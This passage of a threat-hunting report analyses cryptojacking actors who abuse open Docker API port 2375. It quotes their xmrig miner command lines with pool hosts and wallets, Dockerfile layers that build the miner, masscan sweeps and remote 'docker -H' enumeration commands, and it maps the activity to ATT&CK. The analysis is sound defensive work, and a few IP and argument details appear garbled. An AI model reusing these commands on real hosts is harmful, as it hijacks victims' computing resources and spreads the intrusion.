This attacker exploits the usual open Docker API port 2375 to access docker daemon on a remote machine to launch a container. The image is called `"systemaudit/docker_system"` in its latest version on dockerhub. The container is launched with this entyrpoint `"./xmrig -o youknowitsme.ddns.net:443 -u`

45cXaoCzKFGiGUheW6CBXfaun6SPtRXsv2WkHBHBsk2Nhf3NYGq3PK8h1sMngLbZhHXA tm6GDUPH6GUg2TcuepBvPSyQfPv --donate-level 1-k-p 81.".

- "youknowitsme.ddns.net:443" is the mining pool address.
- "45cXaoCzKFGiGUheW6CBXfaun6SPtRXsv2WkHBHBsk2Nhf3NYGq3PK8h1sMng LbZhHXAtm6GDUPH6GUg2TcuepBvPSyQfPv" is the pool user.
- "81.#.#.#" is the pool password according to the -p parameter and each time a container is launched, it uses the victim machine's IP address for the pool password.
- Pool donate level is set to 1.

Upon checking the container processes, we noticed that the mining process is launched by a user called "mining" unlike other methods that utilize the privileges of root user to launch all their processes. When we checked the logs, we were greeted with the usual "XMRig/6.20.0 gcc/9.3.0"with 86% memory usage and the failed pool update logs:

```
[2023-11-08 20:11:37.568] net youknowitsme.ddns.net:443 170.187.230.111 connect error: "operation canceled"
[2023-11-08 20:12:02.619] net youknowitsme.ddns.net:443 170.187.230.111 connect error: "operation canceled"
[2023-11-08 20:12:52.668] net youknowitsme.ddns.net:443 170.187.230.111 connect error: "operation canceled"
[2023-11-08 20:13:17.693] net youknowitsme.ddns.net:443 170.187.230.111 connect error: "operation canceled"
[2023-11-08 20:12:27.643] net youknowitsme.ddns.net:443 170.187.230.111 connect error: "operation canceled"
```

We suspected that these were, as usual, fake logs, so we tried pinging the IP.

```
PING 178.187.230.111 (178.187.230.111) 56(84) bytes of data.
64 bytes from 178.187.230.111: icmp_seq=1 ttl=53 time=90.8 ms
64 bytes from 178.187.230.111: icmp_seq=2 ttl=53 time=93.7 ms
```

To further understand this method, we went ahead and analyzed the dockerhub image layers to find the follow:

```
/bin/sh -c adduser -S -D -H -h /xmrig mining
/bin/sh -c apk --no-cache upgrade && apk --no-cache add git build-base
cmake libuv-dev util-linux-dev libmicrohttpd-dev && git clone
https://github.com/xmrig/xmrig.git && cd xmrig && mkdir build &&
cmake -DCMAKE_BUILD_TYPE=Release . && make && apk del build-base
cmake git
USER [mining]
WORKDIR /xmrig
ENTRYPOINT ["./xmrig"]
-o kontolodon:332
```

We can clearly observe that a user named "mining"was created to carry on with the mining process, xmrig was pulled and executed from github. Finally we have suspicions on "kontolodon:332". Could this be the actual mining pool? We will have to dig deeper and find out.

8- Threat Actor 8: docker-cache

Target	Open Docker Daemon API Port 2375
Toolset	- container from Official Ubuntu 18.04 image - docker-cache malicious script
Impact	Abusing system resources to mine cryptocurrency
TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container:Official Ubuntu 18.04 image image T1059 Command and Scripting Interpreter: docker-cache script with pool credentials as parameters - Persistence: T1036 Masquerading Changed the xmrig miner malware name to docker-cache T1027 Obfuscated Files or Information: Fake logs about mining pool not reachable - Discovery: T1046 Network Service Discovery: masscan on several IP ranges on port 2375 to propagate attack on other hosts - Lateral Movement: T1210 Exploitation of Remote Services: Investigating potential targets through open Docker Daemon API port 2375 - Command and Control: T1071.001 Web protocol: Update mining pool: pool.minexmr.com:443 -u - Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:
- Open Docker Daemon API Port 2375

Toolset:
- container from Official Ubuntu 18.04 image
- docker-cache malicious script

Impact:
- Abusing system resources to mine cryptocurrency

TTPs:
- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container:Official Ubuntu 18.04 image image - T1059 Command and Scripting Interpreter: docker-cache script with pool credentials as parameters
- Persistence: T1036 Masquerading Changed the xmrig miner malware name to docker-cache - T1027 Obfuscated Files or Information: Fake logs about mining pool not reachable
- Discovery: T1046 Network Service Discovery: masscan on several IP ranges on port 2375 to propagate attack on other hosts
- Lateral Movement: T1210 Exploitation of Remote Services: Investigating potential targets through open Docker Daemon API port 2375
- Command and Control: T1071.001 Web protocol: Update mining pool: pool.minexmr.com:443 -u

- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

The attacker deploys a ubuntu:18.04 container from the official ubuntu image on dockerhub. It is also launched with the ordinary entrypoint `"/bin/bash"`. We actually never suspected this container. The only suspicious thing about it was that it was created tens of times on a single machine in every case. It was, fortunately, analyzed with our script along with the other containers and we noticed one of them that consumed a lot of CPU. We executed the container and checked the running process. We found:

```
"docker-cache    -B    --donate-level    1    -o    pool.minexmr.com:443    -u
85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7ML19VYSanf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bf
t5m2NN71CmNLoh -k –tls -t  1-rig-id baleful_oxter -l /var/log/utmp.log"
```

We discussed however, that docker does not have a command nor a process called docker-cache. To fortify our suspicions, the parameters we deciphered appeared to be credentials and details to update a mining pool for a monero wallet. This was a very clever detection evasion method.

- `“docker-cache”` is the name of the malware which was masqueraded to hide the malicious file.
- The donate level is set to 1.
- `"pool.minexmr.com:443"` is the pool address.
- `"85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7ML19VYSanf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh”` is the pool user.
- `"Baleful_oxter"`is the -rig-id which is also the name of the infected container.
-

In addition to that, we noticed other processes:

```
“masscan 194.59.0.0/16 -p 2375 oL-max-rate 360
sh -c timeout 60 docker -H 180.70.134.70 ps -a --no-trunc
timeout 60 docker -H 180.70.134.70 ps-a-no-trunc
docker -H 180.70.134.70 ps -a --no-trunc”
```

On the same container, the attacker performs several masscans to uncover other potential victim hosts that have port 2375 open. They then proceed to list all containers on some machine before eventually propagating their attack on them.

We then proceeded to check "/var/log/utmp.log" which is the log file mentioned in the docker-cache process. We were greeted with the same output as other miners.

```
[2023-11-12 15:18:47.674] [pool.minexmr.com:443] DNS error: "unknown node or service"
[2023-11-12 15:18:53.665] [pool.minexmr.com:443] DNS error: "unknown node or service"
[2023-11-12 15:18:58.667] [pool.minexmr.com:443] DNS error: "unknown node or service"
```

Upon checking this output, we immediately figured out that docker-cache was merely a defense evasion method through masquerading the malware name.
We suspected that these might be the usual false logs to avoid being detected and easily spotted. The attacker believed that they could fool the threat hunter through changing the malware name and displaying false logs, yet that did not work with us. Therefore, we proceeded to analyzing the netstat of the infected container and we uncovered these information:

```
donate.v2:3333 SYN_SENT
199.247.27.41.vul:https SYN_SENT
199.247.27.41.vult:3333 SYN_SENT
donate.v2:https SYN_SENT
donate.v2:https SYN SENT
```

This led us to conclude that the container attempted to connect to other addresses to update the mining pool and uncover all the lies and sneaky moves. We couldn't uncover an established connection but it will be confirmed soon. Our latest investigation revealed that the docker-cache method has been changed to "/usr/bin/nginx" and "/usr/bin/cloud" which are two new malwares that are heavily using CPUs on machines